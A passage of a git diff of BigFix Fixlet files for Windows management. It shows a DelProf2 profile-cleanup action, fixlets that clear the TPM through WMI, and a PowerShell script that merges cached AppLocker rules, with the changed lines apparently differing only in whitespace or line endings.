+    <SourceReleaseDate>2016-10-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch DelProf2.zip sha1:B4FFB416395941CBF682ADFE472DCAC7D4E7F533 size:235595 https://helgeklein.com/downloads/DelProf2/current/Delprof2 1.6.0.zip sha256:14EE8BAF68AC5B015613ECDF23D1CC49A7045F791E2F7A1952F32AAD5B4A606B
+
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;__Download\DelProf2.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
+
+override wait
+hidden=true
+completion=job
+wait &quot;__Download\Delprof2 1.6.0\delprof2.exe&quot; /u /d:60 /i</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using Physical Presence - Windows (24044).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using Physical Presence - Windows (24044).bes
index 20516e769..d0c2eae59 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using Physical Presence - Windows (24044).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using Physical Presence - Windows (24044).bes	
@@ -1,54 +1,54 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Clear TPM using Physical Presence - Windows
-  ID       : 24044
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-14T07:45:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Clear TPM using Physical Presence - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
-    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
-    <Relevance>file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-12-17</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-delete clearTPM.ps1
-
-createfile until _end_
-$TPM = Get-WmiObject -Class Win32_TPM -Namespace root\CIMV2\Security\MicrosoftTpm
-write-host "Attempting to force physical presence prompt"
-
-$TPM.SetPhysicalPresenceRequest(5)
-$Response = $TPM.GetPhysicalPresenceResponse()
-
-$Response >> "$($env:SystemDrive)\TPMClear.log"
-_end_
-
-move __createfile clearTPM.ps1
-
-waithidden powershell.exe -executionpolicy bypass -file clearTPM.ps1
-
-action requires restart]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Clear TPM using Physical Presence - Windows
+  ID       : 24044
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:45:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Clear TPM using Physical Presence - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
+    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
+    <Relevance>file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-12-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+delete clearTPM.ps1
+
+createfile until _end_
+$TPM = Get-WmiObject -Class Win32_TPM -Namespace root\CIMV2\Security\MicrosoftTpm
+write-host "Attempting to force physical presence prompt"
+
+$TPM.SetPhysicalPresenceRequest(5)
+$Response = $TPM.GetPhysicalPresenceResponse()
+
+$Response >> "$($env:SystemDrive)\TPMClear.log"
+_end_
+
+move __createfile clearTPM.ps1
+
+waithidden powershell.exe -executionpolicy bypass -file clearTPM.ps1
+
+action requires restart]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using provided Owner Authorization - Windows (24113).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using provided Owner Authorization - Windows (24113).bes
index 881dddc67..07abd571f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using provided Owner Authorization - Windows (24113).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using provided Owner Authorization - Windows (24113).bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Clear TPM using provided Owner Authorization - Windows
-  ID       : 24113
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-22T05:03:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Clear TPM using provided Owner Authorization - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
-    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-12-17</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-action parameter query &quot;OwnerAuth&quot; with description &quot;Provide an Ownership Authorization String&quot;
-
-parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
-
-parameter &quot;OwnerAuth&quot;=&quot;{line 0 of file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client}&quot;
-
-createfile until _end_
-param (
-	$OwnerAuthorization
-)
-
-$TPM = Get-WmiObject -Class Win32_TPM -Namespace root\CIMV2\Security\MicrosoftTpm
-
-$TPM.Clear($OwnerAuthorization)
-
-_end_
-
-move __createfile clearTPM.ps1
-
-waithidden powershell.exe -executionpolicy bypass -file clearTPM.ps1 -OwnerAuthorization &quot;{parameter &quot;OwnerAuth&quot; of action}&quot;
-
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Clear TPM using provided Owner Authorization - Windows
+  ID       : 24113
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:03:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Clear TPM using provided Owner Authorization - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
+    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-12-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+action parameter query &quot;OwnerAuth&quot; with description &quot;Provide an Ownership Authorization String&quot;
+
+parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
+
+parameter &quot;OwnerAuth&quot;=&quot;{line 0 of file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client}&quot;
+
+createfile until _end_
+param (
+	$OwnerAuthorization
+)
+
+$TPM = Get-WmiObject -Class Win32_TPM -Namespace root\CIMV2\Security\MicrosoftTpm
+
+$TPM.Clear($OwnerAuthorization)
+
+_end_
+
+move __createfile clearTPM.ps1
+
+waithidden powershell.exe -executionpolicy bypass -file clearTPM.ps1 -OwnerAuthorization &quot;{parameter &quot;OwnerAuth&quot; of action}&quot;
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using saved Owner Authorization - Windows (24114).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using saved Owner Authorization - Windows (24114).bes
index 1bf8480b2..aee86d603 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using saved Owner Authorization - Windows (24114).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Clear TPM using saved Owner Authorization - Windows (24114).bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Clear TPM using saved Owner Authorization - Windows
-  ID       : 24114
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-22T05:03:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Clear TPM using saved Owner Authorization - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
-    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
-    <Relevance>file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-12-17</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-
-parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
-
-parameter &quot;OwnerAuth&quot;=&quot;{line 0 of file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client}&quot;
-
-createfile until _end_
-param (
-	$OwnerAuthorization
-)
-
-$TPM = Get-WmiObject -Class Win32_TPM -Namespace root\CIMV2\Security\MicrosoftTpm
-
-$TPM.Clear($OwnerAuthorization)
-
-_end_
-
-move __createfile clearTPM.ps1
-
-waithidden powershell.exe -executionpolicy bypass -file clearTPM.ps1 -OwnerAuthorization &quot;{parameter &quot;OwnerAuth&quot; of action}&quot;
-
-action requires restart</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Clear TPM using saved Owner Authorization - Windows
+  ID       : 24114
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-22T05:03:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Clear TPM using saved Owner Authorization - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;)</Relevance>
+    <Relevance>exists selects &quot;* from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot; /* Require the TPM Exists on the System */</Relevance>
+    <Relevance>file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-12-17</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+
+parameter &quot;Storage&quot;=&quot;{pathname of folder &quot;__Global&quot; of data folder of client}\Bitlocker&quot;
+
+parameter &quot;OwnerAuth&quot;=&quot;{line 0 of file &quot;TPMOwnerAuthorization.txt&quot; of Folder &quot;Bitlocker&quot; of folder &quot;__Global&quot; of data folder of client}&quot;
+
+createfile until _end_
+param (
+	$OwnerAuthorization
+)
+
+$TPM = Get-WmiObject -Class Win32_TPM -Namespace root\CIMV2\Security\MicrosoftTpm
+
+$TPM.Clear($OwnerAuthorization)
+
+_end_
+
+move __createfile clearTPM.ps1
+
+waithidden powershell.exe -executionpolicy bypass -file clearTPM.ps1 -OwnerAuthorization &quot;{parameter &quot;OwnerAuth&quot; of action}&quot;
+
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Commit Cached Applocker Rules - Windows (20716).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Commit Cached Applocker Rules - Windows (20716).bes
index 2a0439fb8..05c638a1a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Commit Cached Applocker Rules - Windows (20716).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Commit Cached Applocker Rules - Windows (20716).bes	
@@ -1,116 +1,116 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Commit Cached Applocker Rules - Windows
-  ID       : 20716
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T16:10:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Commit Cached Applocker Rules - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Policies are defined on the client but there are no policies implemented */ not exists key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry and exists files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client  or  /* Policies are defined but no effective policy exists -- common way to request a forced refresh */ (exists files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client) and (not exists files whose (name of it = "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client)  or  /* Policy doesn't match implementation for Types Enforced */ /* If a type is in Enforced Mode in the policy -- it should be Enforced, because Enforced takes precedence*/ (set of names of keys whose (value "EnforcementMode" of it = 1) of key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry) != (set of node values of attributes "Type" of xpaths "/AppLockerPolicy/RuleCollection" whose (node value of attribute "EnforcementMode" of it = "Enabled") of xml documents of files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client)  or  /* Policy doesn't match implementation for Types Audited */ /* If a type is in Audit Mode in the policy -- it should either be in Audit or Enforced, because Enforced takes precedence*/ (set of names of keys whose (value "EnforcementMode" of it = 1 or value "EnforcementMode" of it = 0) of key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry) does not contain (set of node values of attributes "Type" of xpaths "/AppLockerPolicy/RuleCollection" whose (node value of attribute "EnforcementMode" of it = "AuditOnly") of xml documents of files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client)  or   /* Rules in policy are missing from Implementation*/ size of ((set of node values of attributes "Id" of child nodes of xpaths "/AppLockerPolicy/RuleCollection" of xml documents of files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client) - (set of names of keys of keys of key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry)) > 0]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-28</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-createfile until _end_
-param (
-    $inDir
-)
-
-$Rules = ""
-
-$ExeMethod = ""
-$MsiMethod = ""
-$ScriptMethod = ""
-$AppxMethod = ""
-
-$ExeRules = ""
-$MsiRules = ""
-$ScriptRules = ""
-$AppXRules = ""
-
-foreach ($Ruleset in get-childitem $InDir) {{
-    if ($Ruleset.Name -eq "Effective.xml") {{ continue;}
-
-    $xml = select-xml -Path $Ruleset.fullname -XPath "/AppLockerPolicy/RuleCollection"
-
-    foreach ($Collection in $XML) {{
-
-        if ($Collection.Node.Type -eq "Exe") {{
-            if ($Collection.Node.InnerXml.trim()) {{$ExeRules += $Collection.Node.InnerXml.tostring()}
-            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $ExeMethod -ne "Enabled") {{ $ExeMethod = 'EnforcementMode="AuditOnly"' }
-            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $ExeMethod = 'EnforcementMode="Enabled"' }
-        }
-
-        if ($Collection.Node.Type -eq "Script") {{
-            if ($Collection.Node.InnerXml.trim()) {{$ScriptRules += $Collection.Node.InnerXml.tostring()}
-            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $ScriptMethod -ne "Enabled") {{ $ScriptMethod = 'EnforcementMode="AuditOnly"' }
-            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $ScriptMethod = 'EnforcementMode="Enabled"' }
-        }
-
-        if ($Collection.Node.Type -eq "Msi") {{
-            if ($Collection.Node.InnerXml.trim()) {{$MsiRules += $Collection.Node.InnerXml.tostring()}
-            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $MsiMethod -ne "Enabled") {{ $MsiMethod = 'EnforcementMode="AuditOnly"' }
-            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $MsiMethod = 'EnforcementMode="Enabled"' }
-        }
-
-        if ($Collection.Node.Type -eq "AppX") {{
-            if ($Collection.Node.InnerXml.trim()) {{$AppXRules += $Xml.Node.InnerXml.tostring()}
-            if ($Collection.Node.EnforcementMode -eq "AuditOnly" -and $AppXMethod -ne "Enabled") {{ $AppXMethod = 'EnforcementMode="AuditOnly"' }
-            if ($Collection.Node.EnforcementMode -eq "Enabled") {{ $AppXMethod = 'EnforcementMode="Enabled"' }
-        }
-    }
-}
-
-$Rules = @"
-<AppLockerPolicy Version="1">
-    <RuleCollection Type="Exe" $ExeMethod>
-        $ExeRules
-    </RuleCollection>
-    <RuleCollection Type="Msi" $MsiMethod>
-        $MsiRules
-    </RuleCollection>
-    <RuleCollection Type="Script" $ScriptMethod>
-        $ScriptRules
-    </RuleCollection>
-    <RuleCollection Type="Appx" $AppxMethod>
-        $AppxRules
-    </RuleCollection>
-</AppLockerPolicy>
-"@
-
-$Rules > "$Indir\Effective.xml"
-
-_end_
-
-delete mergerules.ps1
-move __createfile mergerules.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File mergerules.ps1 -inDir "{parameter "Storage"}"
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -XMLPolicy ""{parameter "Storage"}\Effective.xml"""]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Commit Cached Applocker Rules - Windows
+  ID       : 20716
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T16:10:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Commit Cached Applocker Rules - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Policies are defined on the client but there are no policies implemented */ not exists key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry and exists files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client  or  /* Policies are defined but no effective policy exists -- common way to request a forced refresh */ (exists files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client) and (not exists files whose (name of it = "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client)  or  /* Policy doesn't match implementation for Types Enforced */ /* If a type is in Enforced Mode in the policy -- it should be Enforced, because Enforced takes precedence*/ (set of names of keys whose (value "EnforcementMode" of it = 1) of key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry) != (set of node values of attributes "Type" of xpaths "/AppLockerPolicy/RuleCollection" whose (node value of attribute "EnforcementMode" of it = "Enabled") of xml documents of files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client)  or  /* Policy doesn't match implementation for Types Audited */ /* If a type is in Audit Mode in the policy -- it should either be in Audit or Enforced, because Enforced takes precedence*/ (set of names of keys whose (value "EnforcementMode" of it = 1 or value "EnforcementMode" of it = 0) of key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry) does not contain (set of node values of attributes "Type" of xpaths "/AppLockerPolicy/RuleCollection" whose (node value of attribute "EnforcementMode" of it = "AuditOnly") of xml documents of files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client)  or   /* Rules in policy are missing from Implementation*/ size of ((set of node values of attributes "Id" of child nodes of xpaths "/AppLockerPolicy/RuleCollection" of xml documents of files whose (name of it != "Effective.xml") of folder "Applocker" of folder "__Global" of data folder of client) - (set of names of keys of keys of key "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2" of native registry)) > 0]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-28</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+createfile until _end_
+param (
+    $inDir
+)
+
+$Rules = ""
+
+$ExeMethod = ""
+$MsiMethod = ""
+$ScriptMethod = ""
+$AppxMethod = ""
+
+$ExeRules = ""
+$MsiRules = ""
+$ScriptRules = ""
+$AppXRules = ""
+
+foreach ($Ruleset in get-childitem $InDir) {{
+    if ($Ruleset.Name -eq "Effective.xml") {{ continue;}
+
